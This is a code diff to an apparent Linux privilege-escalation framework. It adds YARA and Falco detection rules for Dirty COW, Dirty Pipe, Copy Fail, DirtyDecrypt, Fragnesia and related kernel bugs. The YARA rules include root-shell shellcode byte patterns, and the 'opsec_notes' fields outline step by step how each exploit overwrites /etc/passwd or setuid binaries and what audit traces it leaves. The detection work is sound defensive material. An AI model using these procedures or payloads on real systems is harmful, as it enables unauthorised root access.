" strings:\n"
|
||||
" $root_open = /\\nroot::0:0:/ // empty password (canonical x or ! when shadowed)\n"
|
||||
" condition:\n"
|
||||
" $root_open\n"
|
||||
"}\n";
|
||||
|
||||
static const char copy_fail_family_falco[] =
|
||||
"- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_ALG socket and installs an\n"
|
||||
" authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
|
||||
" Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
|
||||
" triggered by the GCM variant. AF_ALG by non-root is rare on\n"
|
||||
" most servers; tune by allow-listing your crypto-using daemons.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31431, copy_fail]\n"
|
||||
"\n"
|
||||
"- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
|
||||
" desc: |\n"
|
||||
" A NETLINK_XFRM socket is opened from inside an unprivileged\n"
|
||||
" user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
|
||||
" ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
|
||||
" variants — also tripped by Fragnesia's setup phase. Legitimate\n"
|
||||
" XFRM use is normally privileged (strongSwan, libreswan).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and not user.uid = 0 and\n"
|
||||
" proc.aname[1] != \"\" // we want non-init userns; refine with k8s.namespace or container.id\n"
|
||||
" output: >\n"
|
||||
" NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.43284, dirty_frag]\n"
|
||||
"\n"
|
||||
"- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
|
||||
" desc: |\n"
|
||||
" /etc/passwd is read-only for non-root, so a non-root caller\n"
|
||||
" showing up on its open(W_OK) audit trail indicates a\n"
|
||||
" page-cache write primitive succeeded. Catches the post-fire\n"
|
||||
" state for the whole copy_fail family + dirty_pipe.\n"
|
||||
" condition: >\n"
|
||||
" open_write and fd.name = /etc/passwd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
|
||||
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
@@ -169,8 +245,10 @@ const struct skeletonkey_module copy_fail_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
@@ -201,8 +279,10 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
@@ -233,8 +313,10 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
@@ -265,8 +347,10 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
@@ -297,8 +381,10 @@ const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
@@ -390,6 +390,35 @@ static const char dirty_cow_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2016.5195]\n";
|
||||
|
||||
static const char dirty_cow_yara[] =
|
||||
"rule dirty_cow_cve_2016_5195 : cve_2016_5195 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2016-5195\"\n"
|
||||
" description = \"Dirty COW /etc/passwd UID-flip pattern (non-root user remapped to 0000+)\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_cow_falco[] =
|
||||
"- rule: Dirty COW pwrite on /proc/self/mem by non-root\n"
|
||||
" desc: |\n"
|
||||
" Non-root pwrite() targeting /proc/self/mem at an offset that\n"
|
||||
" overlaps a private mmap of /etc/passwd. Combined with a\n"
|
||||
" racing madvise(MADV_DONTNEED) loop this is the Dirty COW\n"
|
||||
" primitive (CVE-2016-5195).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pwrite and fd.name = /proc/self/mem and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pwrite to /proc/self/mem by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2016.5195]\n";
|
||||
|
||||
const struct skeletonkey_module dirty_cow_module = {
|
||||
.name = "dirty_cow",
|
||||
.cve = "CVE-2016-5195",
|
||||
@@ -402,8 +431,10 @@ const struct skeletonkey_module dirty_cow_module = {
|
||||
.cleanup = dirty_cow_cleanup,
|
||||
.detect_auditd = dirty_cow_auditd,
|
||||
.detect_sigma = dirty_cow_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_cow_yara,
|
||||
.detect_falco = dirty_cow_falco,
|
||||
.opsec_notes = "Two-thread race: Thread A loops pwrite(/proc/self/mem) at the user's UID offset in /etc/passwd; Thread B loops madvise(MADV_DONTNEED) on a PRIVATE mmap of /etc/passwd. Overwrites the UID field with all-zeros, then execlp('su') to claim root. UID offset is parsed from the file, not hardcoded. Audit-visible via open(/proc/self/mem) + write + madvise(MADV_DONTNEED) bursts + /etc/passwd page-cache poisoning. Cleanup callback calls posix_fadvise(POSIX_FADV_DONTNEED) on /etc/passwd and writes 3 to /proc/sys/vm/drop_caches to evict.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_cow(void)
|
||||
|
||||
@@ -460,6 +460,39 @@ static const char dirty_pipe_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_yara[] =
|
||||
"rule dirty_pipe_passwd_uid_flip : cve_2022_0847 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-0847\"\n"
|
||||
" description = \"Dirty Pipe (CVE-2022-0847): /etc/passwd page-cache UID flip — non-root username remapped to UID 0000+. Scan /etc/passwd directly; legitimate root entries use '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n";
|
||||
|
||||
static const char dirty_pipe_falco[] =
|
||||
"- rule: Dirty Pipe splice from setuid/sensitive file by non-root\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls splice() with a fd pointing at a\n"
|
||||
" setuid-root binary or a credential file. The Dirty Pipe\n"
|
||||
" primitive (CVE-2022-0847) splices 1 byte from the target to\n"
|
||||
" a prepared pipe to inherit the stale PIPE_BUF_FLAG_CAN_MERGE,\n"
|
||||
" then writes attacker bytes that land in the file's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name in (/etc/passwd, /etc/shadow, /etc/sudoers)\n"
|
||||
" or fd.name startswith /usr/bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd\n"
|
||||
" or fd.name startswith /bin/su)\n"
|
||||
" output: >\n"
|
||||
" Dirty Pipe-style splice from sensitive file by non-root\n"
|
||||
" (user=%user.name proc=%proc.name fd=%fd.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, cve.2022.0847]\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
@@ -487,8 +520,10 @@ const struct skeletonkey_module dirty_pipe_module = {
|
||||
.cleanup = dirty_pipe_cleanup,
|
||||
.detect_auditd = dirty_pipe_auditd,
|
||||
.detect_sigma = dirty_pipe_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dirty_pipe_yara,
|
||||
.detect_falco = dirty_pipe_falco,
|
||||
.opsec_notes = "Creates a pipe, fills+drains to leave PIPE_BUF_FLAG_CAN_MERGE on every slot; finds the UID offset in /etc/passwd by parsing the file; splice(1 byte) from (target_offset-1) to inherit the stale flag, then write(pipe) with the all-zero payload - kernel merges into the file's page cache. Offset must be non-page-aligned and the write must fit in a single page. Audit-visible via splice(fd=/etc/passwd) + write from a non-root process. --active mode writes/reads /tmp/skeletonkey-dirty-pipe-probe-XXXXXX to verify. Cleanup callback evicts /etc/passwd via posix_fadvise + drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
|
||||
@@ -667,13 +667,18 @@ static int dd_active_probe(void)
|
||||
* RESPONSE authenticator length check"), shipped in Linux 7.0.
|
||||
*
|
||||
* The detect logic therefore is:
|
||||
* - kernel < 7.0 → SKELETONKEY_OK (predates the bug)
|
||||
* - kernel ≥ 7.0 → consult kernel_range; 7.0+ has the fix
|
||||
* - --active → empirical override (catches pre-fix 7.0-rc kernels
|
||||
* or weird distro rebuilds the version check missed)
|
||||
* - kernel < 6.16.1 → SKELETONKEY_OK (predates the rxgk RESPONSE bug)
|
||||
* - kernel in range → consult kernel_range for backport coverage
|
||||
* - --active → empirical override
|
||||
*
|
||||
* Per NVD CVE-2026-31635: bug introduced in 6.16.1 stable; vulnerable
|
||||
* range is 6.16.1–6.18.22 + 6.19.0–6.19.12 + 7.0-rc1..rc7. Fixed at
|
||||
* 6.18.23 backport, 6.19.13 backport, 7.0 stable.
|
||||
*/
|
||||
static const struct kernel_patched_from dirtydecrypt_patched_branches[] = {
|
||||
{7, 0, 0}, /* mainline fix commit a2567217 landed in Linux 7.0 */
|
||||
{6, 18, 23}, /* 6.18.x stable backport */
|
||||
{6, 19, 13}, /* 6.19.x stable backport (per Debian tracker — forky/sid) */
|
||||
{7, 0, 0}, /* mainline fix landed before 7.0 stable */
|
||||
};
|
||||
static const struct kernel_range dirtydecrypt_range = {
|
||||
.patched_from = dirtydecrypt_patched_branches,
|
||||
@@ -696,11 +701,12 @@ static skeletonkey_result_t dd_detect(const struct skeletonkey_ctx *ctx)
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Predates the bug: rxgk RESPONSE-handling code was added in 7.0. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 7, 0, 0)) {
|
||||
/* Predates the bug: rxgk RESPONSE-handling bug entered at 6.16.1
|
||||
* stable per NVD. Earlier 6.x kernels don't have the buggy code. */
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 6, 16, 1)) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirtydecrypt: kernel %s predates the rxgk "
|
||||
"RESPONSE-handling code added in 7.0 — not applicable\n",
|
||||
"RESPONSE bug introduced in 6.16.1 — not applicable\n",
|
||||
v->release);
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -921,6 +927,55 @@ static const char dd_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice\n";
|
||||
|
||||
static const char dd_yara[] =
|
||||
"rule dirtydecrypt_payload_overlay : cve_2026_31635 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635\"\n"
|
||||
" description = \"DirtyDecrypt payload: the 120-byte ET_DYN x86_64 ELF the public V12 PoC overlays onto the first bytes of a setuid binary's page cache. Scan setuid-root binaries (/usr/bin/su etc.); legitimate binaries are much larger and never start with this exact shellcode.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/v12-security/pocs/tree/main/dirtydecrypt\"\n"
|
||||
" strings:\n"
|
||||
" // First 28 bytes of the embedded tiny_elf[] payload.\n"
|
||||
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 03 00 3E 00 01 00 00 00 68 00 00 00 }\n"
|
||||
" // The setuid(0)+execve(/bin/sh) tail at offset 104 of the payload.\n"
|
||||
" $shellcode = { B0 69 0F 05 48 8D 3D DD FF FF FF 6A 3B 58 0F 05 }\n"
|
||||
" $sh = \"/bin/sh\"\n"
|
||||
" condition:\n"
|
||||
" // Setuid binaries are at minimum a few KB; the payload is\n"
|
||||
" // 120 bytes overlaid at offset 0 so the rest of the file\n"
|
||||
" // remains the original binary content (or padding).\n"
|
||||
" $payload_head at 0 and $shellcode and $sh and filesize > 4096\n"
|
||||
"}\n";
|
||||
|
||||
static const char dd_falco[] =
|
||||
"- rule: AF_RXRPC socket created by non-root (DirtyDecrypt primitive)\n"
|
||||
" desc: |\n"
|
||||
" Non-root process creates an AF_RXRPC socket. AF_RXRPC is the\n"
|
||||
" family the DirtyDecrypt (CVE-2026-31635) primitive needs to\n"
|
||||
" trigger the rxgk in-place decrypt. Most production hosts do\n"
|
||||
" not use AF_RXRPC at all (it's AFS-flavoured); a non-root\n"
|
||||
" open here is highly suspicious.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 33 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_RXRPC socket() by non-root (user=%user.name proc=%proc.name\n"
|
||||
" pid=%proc.pid parent=%proc.pname)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.31635]\n"
|
||||
"\n"
|
||||
"- rule: rxrpc security key added (DirtyDecrypt handshake setup)\n"
|
||||
" desc: |\n"
|
||||
" add_key(\"rxrpc\", …) by a non-root process — the DirtyDecrypt\n"
|
||||
" PoC adds an rxrpc-typed key carrying a forged rxgk XDR token\n"
|
||||
" for each fire() of the page-cache write primitive.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = add_key and evt.arg[0] contains \"rxrpc\" and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" rxrpc add_key by non-root (user=%user.name proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31635]\n";
|
||||
|
||||
static const char dd_sigma[] =
|
||||
"title: Possible DirtyDecrypt exploitation (CVE-2026-31635)\n"
|
||||
"id: 7c1e9a40-skeletonkey-dirtydecrypt\n"
|
||||
@@ -953,8 +1008,10 @@ const struct skeletonkey_module dirtydecrypt_module = {
|
||||
.cleanup = dd_cleanup,
|
||||
.detect_auditd = dd_auditd,
|
||||
.detect_sigma = dd_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = dd_yara,
|
||||
.detect_falco = dd_falco,
|
||||
.opsec_notes = "Forked child runs unshare(CLONE_NEWUSER|CLONE_NEWNET); creates AF_RXRPC socket; builds an rxgk XDR token via add_key(SYS_add_key, 'rxrpc'); sets up loopback UDP server + rxrpc client; forges rxrpc DATA packets and fires 10000+ splice-based writes in a sliding window to overwrite a target setuid binary's page cache with a 120-byte ET_DYN ELF (setuid(0) + execve('/bin/sh')). Payload is never written to disk. Audit-visible via socket(AF_RXRPC) (a0=33) + add_key('rxrpc') + splice() bursts. Records target path to /tmp/skeletonkey-dirtydecrypt.target. Cleanup callback evicts candidate targets (/usr/bin/su et al) via drop_caches.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_dirtydecrypt(void)
|
||||
|
||||
@@ -32,6 +32,7 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/host.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdint.h>
|
||||
@@ -108,40 +109,33 @@ unsigned long entrybleed_leak_kbase_lib(unsigned long entry_syscall_slot_offset)
|
||||
return (unsigned long)best_base;
|
||||
}
|
||||
|
||||
static int read_first_line(const char *path, char *out, size_t n)
|
||||
{
|
||||
FILE *f = fopen(path, "r");
|
||||
if (!f) return -1;
|
||||
if (!fgets(out, n, f)) { fclose(f); return -1; }
|
||||
fclose(f);
|
||||
/* trim trailing newline */
|
||||
size_t L = strlen(out);
|
||||
while (L && (out[L-1] == '\n' || out[L-1] == '\r')) out[--L] = 0;
|
||||
return 0;
|
||||
}
|
||||
/* (read_first_line() removed — meltdown status now comes from
|
||||
* ctx->host->meltdown_mitigation, populated once at startup in
|
||||
* core/host.c. One file open across the corpus instead of per-detect.) */
|
||||
|
||||
static skeletonkey_result_t entrybleed_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Probe KPTI status. /sys/devices/system/cpu/vulnerabilities/meltdown
|
||||
* is the most direct signal: "Mitigation: PTI" means KPTI is on
|
||||
* (= EntryBleed-applicable). "Not affected" means a hardened CPU
|
||||
* (very recent Intel + most AMD = no KPTI = no EntryBleed). */
|
||||
char buf[256];
|
||||
int rc = read_first_line(
|
||||
"/sys/devices/system/cpu/vulnerabilities/meltdown", buf, sizeof buf);
|
||||
if (rc < 0) {
|
||||
/* KPTI status comes from the shared host fingerprint
|
||||
* (ctx->host->meltdown_mitigation) — populated once at startup by
|
||||
* reading /sys/devices/system/cpu/vulnerabilities/meltdown. The
|
||||
* raw string is preserved (not just the kpti_enabled bool) so we
|
||||
* can distinguish "Not affected" (CPU immune; OK) from
|
||||
* "Mitigation: PTI" / "Vulnerable" (KPTI on; vulnerable to
|
||||
* EntryBleed) without re-reading sysfs. */
|
||||
const char *meltdown = ctx->host ? ctx->host->meltdown_mitigation : "";
|
||||
if (meltdown[0] == '\0') {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[?] entrybleed: cannot read meltdown vuln status — "
|
||||
fprintf(stderr, "[?] entrybleed: meltdown vuln status unknown — "
|
||||
"assuming KPTI on (conservative)\n");
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", buf);
|
||||
fprintf(stderr, "[i] entrybleed: meltdown status = '%s'\n", meltdown);
|
||||
}
|
||||
|
||||
/* "Not affected" → CPU is Meltdown-immune → no KPTI → no EntryBleed */
|
||||
if (strstr(buf, "Not affected") != NULL) {
|
||||
if (strstr(meltdown, "Not affected") != NULL) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] entrybleed: CPU is Meltdown-immune; KPTI off; "
|
||||
"EntryBleed N/A\n");
|
||||
@@ -294,6 +288,8 @@ const struct skeletonkey_module entrybleed_module = {
|
||||
.detect_sigma = entrybleed_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.opsec_notes = "Pure timing side-channel: rdtsc + prefetchnta sweep across the kernel high-half (~16 MiB) to time which 2 MiB page is mapped (entry_SYSCALL_64) and subtract its known offset from kbase. No syscalls fired, no file artifacts, no network. Classic auditd cannot see it; perf-counter EDR can flag a process spending unusual time in tight prefetchnta loops but classic rules will not. No cleanup needed.",
|
||||
.arch_support = "x86_64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_entrybleed(void)
|
||||
|
||||
@@ -1124,6 +1124,58 @@ static const char fg_auditd[] =
|
||||
"# splice() drives page-cache pages into the ESP-in-TCP stream\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-fragnesia-splice\n";
|
||||
|
||||
static const char fg_yara[] =
|
||||
"rule fragnesia_payload_overlay : cve_2026_46300 page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-46300\"\n"
|
||||
" description = \"Fragnesia payload: the 192-byte ET_EXEC x86_64 ELF the public V12 PoC overlays onto the first bytes of /usr/bin/su (or sibling setuid binary). Detects post-fire page-cache contents via direct scan.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" reference = \"https://github.com/v12-security/pocs/tree/main/fragnesia\"\n"
|
||||
" strings:\n"
|
||||
" // First 28 bytes of the embedded shell_elf[] payload.\n"
|
||||
" $payload_head = { 7F 45 4C 46 02 01 01 00 00 00 00 00 00 00 00 00 02 00 3E 00 01 00 00 00 78 00 40 00 }\n"
|
||||
" // The setuid+setgid+seteuid(0) prelude\n"
|
||||
" $shellcode_drop = { 31 FF 31 F6 31 C0 B0 6A 0F 05 B0 69 0F 05 B0 74 0F 05 }\n"
|
||||
" $sh = \"/bin/sh\"\n"
|
||||
" $term = \"TERM=xterm\"\n"
|
||||
" condition:\n"
|
||||
" $payload_head at 0 and $shellcode_drop and $sh and $term and filesize > 4096\n"
|
||||
"}\n";
|
||||
|
||||
static const char fg_falco[] =
|
||||
"- rule: TCP_ULP=espintcp set by non-root (Fragnesia trigger)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process flips a TCP socket into the espintcp ULP\n"
|
||||
" inside an unprivileged userns. Core of the Fragnesia\n"
|
||||
" (CVE-2026-46300) trigger — also the Dirty Frag ESP-in-TCP\n"
|
||||
" setup. Legitimate use of TCP_ULP=espintcp from non-root is\n"
|
||||
" essentially never seen in production.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Fragnesia-style TCP_ULP=espintcp by non-root\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2026.46300]\n"
|
||||
"\n"
|
||||
"- rule: ESP-in-TCP splice to crafted TCP connection (Fragnesia paged-frag write)\n"
|
||||
" desc: |\n"
|
||||
" splice() of a setuid binary's pages into a TCP socket whose\n"
|
||||
" peer is configured for espintcp. Fragnesia's sender path\n"
|
||||
" splices the carrier file (/usr/bin/su) into the loopback TCP\n"
|
||||
" flow to land the in-place decrypt on the carrier's page cache.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = splice and not user.uid = 0 and\n"
|
||||
" (fd.name startswith /usr/bin/su or fd.name startswith /bin/su\n"
|
||||
" or fd.name startswith /usr/bin/passwd)\n"
|
||||
" output: >\n"
|
||||
" splice() of setuid binary by non-root (user=%user.name\n"
|
||||
" proc=%proc.name fd=%fd.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [filesystem, cve.2026.46300]\n";
|
||||
|
||||
static const char fg_sigma[] =
|
||||
"title: Possible Fragnesia exploitation (CVE-2026-46300)\n"
|
||||
"id: 9b3d2e71-skeletonkey-fragnesia\n"
|
||||
@@ -1156,8 +1208,10 @@ const struct skeletonkey_module fragnesia_module = {
|
||||
.cleanup = fg_cleanup,
|
||||
.detect_auditd = fg_auditd,
|
||||
.detect_sigma = fg_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = fg_yara,
|
||||
.detect_falco = fg_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET) + socket(AF_ALG, SOCK_SEQPACKET) for an AES-GCM keystream table; NETLINK_XFRM setsockopt to install ESP-in-TCP state; TCP_ULP setsockopt on a loopback connection; splice() from a carrier setuid binary (/usr/bin/su or /bin/su) into the TCP socket. Artifacts: /tmp/skeletonkey-fragnesia-probe-XXXXXX (mkstemp, unlinked after probe) and /tmp/skeletonkey-fragnesia.target. Audit-visible via socket(AF_ALG) (38), NETLINK_XFRM (6) writes, TCP_ULP setsockopt, splice() of setuid binary. No external network (loopback). Cleanup callback unlinks /tmp files and evicts the carrier from page cache.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_fragnesia(void)
|
||||
|
||||
